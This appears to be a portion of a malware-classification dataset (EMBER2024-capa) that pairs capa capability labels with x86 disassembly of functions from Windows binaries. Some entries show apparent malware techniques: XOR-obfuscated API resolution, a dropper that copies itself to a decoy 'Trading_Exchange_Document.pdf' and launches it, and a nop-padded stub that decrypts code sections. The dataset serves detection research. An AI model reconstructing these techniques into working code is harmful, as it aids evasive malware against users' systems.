joyce8/EMBER2024-capa huggingface dataset:
Function at 0x469f4c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x469fae
call fcn.00469efc
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.00463ec0
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.00463ec0
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x46a02c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x48b10c], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x46a106
cmp dword [0x48b108], 0
jne 0x46a106
cmp dword [0x48b2ec], 0
je 0x46a0c0
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.00469dfc
add esp, 8
mov ebx, eax
test eax, eax
jne 0x46a0a6
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.00469dfc
add esp, 8
mov ebx, eax
test eax, eax
jne 0x46a0a6
lea ebx, [ebp - 0x84]
jmp 0x46a0a7
inc ebx
call fcn.00469fe8
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x46a141
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x48b110
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00463ec0
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x48b113
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x46a141
cmp dword [0x48b108], 0
je 0x46a120
cmp dword [0x48b108], 0xffffffff
je 0x46a141
push esi
call dword [0x48b108]
pop ecx
mov eax, dword [0x48b10c]
test eax, eax
je 0x46a141
cmp dword [0x48b10c], 0xffffffff
je 0x46a141
cmp byte [eax], 0
je 0x46a141
push esi
push eax
call fcn.00469f4c
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46a8d8
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x490af0], 0
jne 0x46a959
cmp dword [0x490b10], 0
jne 0x46a908
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x490b10], eax
test eax, eax
jne 0x46a908
push str.GetEnvironmentStrings_failed
call fcn.0046a158
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x490b10]
jmp 0x46a91c
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00463ec0
pop ecx
mov edi, eax
test eax, eax
jne 0x46a914
lea edi, [ebp + 1]
push edi
call fcn.00463900
pop ecx
mov ebx, eax
mov dword [0x490af4], ebx
test ebx, ebx
jne 0x46a946
xor eax, eax
jmp 0x46aa1c
push edi
mov edx, dword [0x490b10]
push edx
push ebx
call fcn.00463d70
add esp, 0xc
jmp 0x46a979
xor esi, esi
mov ebx, dword [0x490af0]
jmp 0x46a973
push eax
call fcn.00463ec0
pop ecx
test eax, eax
jne 0x46a96f
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x46a963
lea ebx, [esi + 4]
push 4
mov dword [0x490af8], ebx
inc ebx
push ebx
call fcn.004633d8
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x46a99c
xor eax, eax
jmp 0x46aa1c
cmp dword [0x490af0], 0
jne 0x46a9cd
xor esi, esi
mov ebx, dword [0x490af4]
mov eax, dword [esp]
mov ebp, eax
jmp 0x46a9be
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00463ec0
pop ecx
mov edi, eax
test eax, eax
jne 0x46a9b4
jmp 0x46a9fe
xor esi, esi
mov ebx, dword [0x490af0]
mov eax, dword [esp]
mov edi, eax
jmp 0x46a9f8
push eax
call fcn.00463ec0
pop ecx
test eax, eax
je 0x46a9ed
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x46a9f1
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x46a9dc
mov eax, dword [0x490af0]
test eax, eax
je 0x46aa0e
push eax
call fcn.00463910
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x490af0], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x470ec8
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x470ef6
mov eax, ebx
call fcn.0047196c
cmp dword [ebx + 0x3c], 0
je 0x470eef
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x470f67
mov edx, dword [ebx + 0x1a6]
cmp dword [edx + 0x10], 0
je 0x470f59
cmp dword [ebx + 8], 0
je 0x470f18
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1a6]
call dword [edx]
test eax, eax
jne 0x470f2a
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x470f59
cmp dword [ebx + 8], 0
je 0x470f0b
cmp eax, 3
je 0x470f3d
dec eax
jne 0x470f0b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x470f0b
mov edx, dword [ebx + 0x132]
add dword [eax + 8], edx
jmp 0x470f0b
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x470f85
cmp dword [ebx + 0x10], 0xcc
je 0x470f85
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00470f90
pop ebx
ret
Function at 0x10001250
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
push esi
inc eax
mov ebx, ecx
push edi
push eax
mov dword [ebp - 8], ebx
call fcn.100079cb
mov edi, eax
add esp, 4
xor eax, eax
mov dword [ebp + 0xc], edi
mov dword [ebp - 4], eax
mov ebx, dword [ebx + eax*4]
xor edx, edx
mov ecx, ebx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001280
sub ecx, esi
je 0x100012ad
nop dword [eax + eax]
mov al, byte [ebx + edx]
mov byte [edi], al
mov eax, ebx
inc edi
inc edx
lea esi, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100012a0
sub eax, esi
cmp edx, eax
jb 0x10001290
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 8]
inc eax
mov dword [ebp - 4], eax
cmp eax, 0x96
jl 0x10001275
mov edx, dword [ebp + 0xc]
mov ecx, edx
call fcn.10001110
mov ebx, eax
mov dword [ebp - 8], ebx
lea edi, [ebx + 1]
lea ecx, [edi + 1]
push ecx
call fcn.100079cb
add esp, 4
xor edx, edx
mov esi, eax
test edi, edi
jle 0x1000130b
sub dword [ebp + 0xc], esi
mov ebx, dword [ebp + 0xc]
nop word [eax + eax]
mov eax, edx
lea ecx, [edx + esi]
and eax, 1
inc edx
mov al, byte [eax + 0x1001cb34]
xor al, byte [ebx + ecx]
mov byte [ecx], al
cmp edx, edi
jl 0x100012f0
mov ebx, dword [ebp - 8]
mov eax, dword [ebp + 0x10]
mov byte [esi + edi], 0
push dword [eax]
push ebx
push 1
push esi
call fcn.10007976
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001330
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
mov eax, esi
nop word [eax + eax]
movzx edx, byte [eax]
inc eax
cmp byte [edx + str.________________________________________________456789:_________], 0x3f
jbe 0x10001340
sub eax, esi
add eax, 2
cdq
and edx, 3
add eax, edx
sar eax, 2
lea eax, [eax + eax*2]
inc eax
push eax
call fcn.100079cb
mov ebx, eax
mov edx, esi
mov ecx, ebx
call fcn.10001110
mov edi, eax
lea ecx, [edi + 1]
push ecx
call fcn.100079cb
add esp, 8
xor ecx, ecx
mov esi, eax
test edi, edi
jle 0x100013aa
sub ebx, esi
mov eax, ecx
lea edx, [ecx + esi]
and eax, 1
inc ecx
mov al, byte [eax + 0x1001cb34]
xor al, byte [edx + ebx]
mov byte [edx], al
cmp ecx, edi
jl 0x10001388
mov byte [esi + edi], 0
mov eax, esi
pop edi
pop esi
pop ebx
ret
mov byte [esi + edi], cl
mov eax, esi
pop edi
pop esi
pop ebx
ret
Function at 0x100013c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
mov ebx, ecx
mov ecx, str.flZHXVBfBgEbV1lf
call fcn.10001330
push eax
push ebx
call fcn.100087de
add esp, 8
test eax, eax
jne 0x10001488
push esi
push edi
mov ecx, str.clZBfVRHXEVQYExAQVZYeltVWg
call fcn.10001330
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov ecx, str.YlxCBQF3XEBUUVlWYlxCBQF1RmFQV1xBUFBBWlpd
mov dword [0x1005c408], eax
call fcn.10001330
push eax
push ebx
call edi
push eax
call esi
mov ecx, str.clZBdVxfUHJBR0daV0ZBVkZy
mov dword [0x1005c400], eax
call fcn.10001330
push eax
push ebx
call edi
push eax
call esi
mov ecx, str.clZBdltFXEFaXVhWW0djUkdaVFFZVnQ
mov dword [0x1005c3f0], eax
call fcn.10001330
push eax
push ebx
call edi
push eax
call esi
mov ecx, str.ZltQX1l2TVZWRkFWdA
mov dword [0x1005c3fc], eax
call fcn.10001330
push eax
push str.Shell32.dll
call edi
push eax
call esi
mov ecx, str.Ylpbdk1WVg
call fcn.10001330
push eax
push ebx
call edi
push eax
call esi
mov ecx, str.dkFQUkFWZUFaUFBARnI
mov dword [0x1005c3f4], eax
call fcn.10001330
push eax
push ebx
call edi
push eax
call esi
pop edi
mov dword [0x1005c404], eax
pop esi
pop ebx
ret

Function at 0x10001490
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa00
lea eax, [ebp - 0x200]
push esi
push edi
push 0
push eax
push 0x104
push 0x1001cb44
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea edi, [ebp - 0x200]
dec edi
nop dword [eax + eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100014c0
mov ecx, 6
lea eax, [ebp - 0x200]
mov esi, str.Trading_Exchange_Document
rep movsd dword es:[edi], dword [esi]
push eax
push str._s.pdf
lea eax, [ebp - 0x600]
movsw word es:[edi], word [esi]
push 0x400
push eax
movsb byte es:[edi], byte [esi]
call fcn.10001010
add esp, 0x10
lea eax, [ebp - 0x600]
push 0
push eax
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
test eax, eax
je 0x10001552
mov ecx, str.Vl5RHVBLUBMaUBU
call fcn.10001330
lea ecx, [ebp - 0x600]
push ecx
push eax
push str._s__s
lea eax, [ebp - 0xa00]
push 0x400
push eax
call fcn.10001010
mov eax, dword [0x1005c3f4]
add esp, 0x14
test eax, eax
je 0x10001552
push 0
lea ecx, [ebp - 0xa00]
push ecx
call eax
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100024f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1005c3d0]
test eax, eax
jne 0x1000256f
push esi
mov ecx, str.flZHXVBfBgEbV1lf
call fcn.10001330
mov ecx, eax
call fcn.100013c0
push 0
push 0
push 0
push sym.version.dll__VerQueryDateA_0
push 0
push 0
call fcn.10005a7a
add esp, 0x18
call fcn.100056a1
lea esi, [eax + 0x7d0]
call fcn.100056a1
cmp eax, esi
jl 0x10002530
push 0
push 0
push 0
push sym.version.dll__GetFileVersionInfos_0
push 0
push 0
call fcn.10005a7a
add esp, 0x18
call fcn.100056a1
lea esi, [eax + 0xea60]
nop dword [eax + eax]
call fcn.100056a1
cmp eax, esi
jl 0x10002560
mov eax, dword [0x1005c3d0]
pop esi
push 0x10058cd4
push dword [0x1005c3f8]
inc eax
mov dword [0x1005c3d0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ebp
jmp eax

Function at 0x10007dad
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10007dec
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10007dec
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10007dec
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10007dec
cmp dword [ecx + 0x74], 0xe
jbe 0x10007dec
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10009924
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1005bf00]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10009964
cmp byte [ebx], 0xa
jne 0x10009964
or byte [edi + eax + 0x28], 4
jmp 0x10009969
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10009a68
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10009a4b
inc eax
cmp dl, 0xd
je 0x10009995
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x100099bb
cmp eax, ecx
jae 0x100099c9
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1000997d
jmp 0x10009a68
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10009a46
cmp dword [ebp - 0x10], 0
je 0x10009a46
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1005bf00]
test byte [eax + edi + 0x28], 0x48
je 0x10009a20
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10009a0b
mov byte [esi], dl
jmp 0x10009a1c
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1005bf00]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10009a68
cmp byte [ebp - 1], 0xa
jne 0x10009a2f
cmp esi, ebx
jne 0x10009a2f
mov byte [esi], 0xa
jmp 0x10009a67
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.100091d1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10009a68
mov byte [esi], 0xd
jmp 0x10009a67
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1005bf00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10009a65
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10009a68
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10009a71
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1005bf00]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10009ab7
cmp word [ebx], dx
jne 0x10009ab7
or byte [eax + edi + 0x28], 4
jmp 0x10009abc
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10009c1f
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10009bff
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10009afd
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10009b33
cmp eax, edx
jae 0x10009b41
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x10009ad8
jmp 0x10009c1f
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10009bfa
cmp dword [ebp - 0x18], 0
je 0x10009bfa
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1005bf00]
test byte [eax + edi + 0x28], 0x48
je 0x10009bd0
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x10009b94
mov word [esi], cx
jmp 0x10009bcb
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1005bf00]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1005bf00]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1005bf00]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10009c1f
pop eax
cmp word [ebp - 4], ax
jne 0x10009be0
cmp esi, ebx
jne 0x10009be0
mov word [esi], ax
jmp 0x10009c1c
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.100091d1
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10009c1f
push 0xd
pop eax
jmp 0x10009bdb
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1005bf00]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10009c19
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10009c1f
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1000b127
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10018b34
push 0x10018b2c
push str.FlsAlloc
push 0x1f
call fcn.1000b003
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000b15b
push dword [ebp + 8]
mov ecx, esi
call dword [0x10017140]
call esi
jmp 0x1000b161
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000b1a5
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10018b44
push 0x10018b3c
push str.FlsGetValue
push 0x21
call fcn.1000b003
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000b1dc
push dword [ebp + 8]
mov ecx, esi
call dword [0x10017140]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000b1e4
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10018b4c
push 0x10018b44
push str.FlsSetValue
push 0x22
call fcn.1000b003
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000b21e
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10017140]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000e85d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000e8fa
push ebx
push esi
call fcn.1000e826
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000e7ba
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000e8a7
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000e8f9
push edi
push eax
call fcn.1000b413
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000e8c7
call fcn.1000a95f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000e8f8
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000e7ba
add esp, 0x20
test eax, eax
jne 0x1000e8e6
push edi
call fcn.1000a95f
jmp 0x1000e8ee
push ebx
call fcn.1000a95f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x100131e1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1001315d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x10013350
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x10013350
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10013305
jg 0x1001323d
test eax, eax
je 0x100132fb
push 1
push 0x1000
call fcn.1000ae8d
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10013260
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100132f2
push 0x8000
push ebx
call fcn.1001308e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10013289
jg 0x10013284
cmp ecx, 0x1000
jb 0x10013289
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1000d00b
add esp, 0x10
cmp eax, 0xffffffff
je 0x100132ce
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10013284
jl 0x100132b5
test ecx, ecx
jne 0x10013276
push dword [ebp - 0xc]
push ebx
call fcn.1001308e
push esi
call fcn.1000a95f
add esp, 0xc
xor ebx, ebx
jmp 0x1001335e
cmp byte [edi + 0x24], 0
je 0x100132e5
cmp dword [edi + 0x20], 5
jne 0x100132e5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x100132f0
mov ebx, dword [edi + 0x18]
jmp 0x100132f2
xor ebx, ebx
push esi
call fcn.1000a95f
pop ecx
jmp 0x1001335e
test ecx, ecx
jg 0x100132c7
jl 0x10013305
test eax, eax
jae 0x100132c7
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100091d1
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10013325
cmp byte [edi + 0x1c], 0
je 0x100132c7
jmp 0x10013356
push ebx
call fcn.1000f2ba
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x100132c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001335e
cmp byte [edi + 0x1c], 0
je 0x1001335b
mov ebx, dword [edi + 0x18]
jmp 0x1001335e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100091d1
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10015e30
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10015e5d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10015e5d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x62e712e7
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x25a61070
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219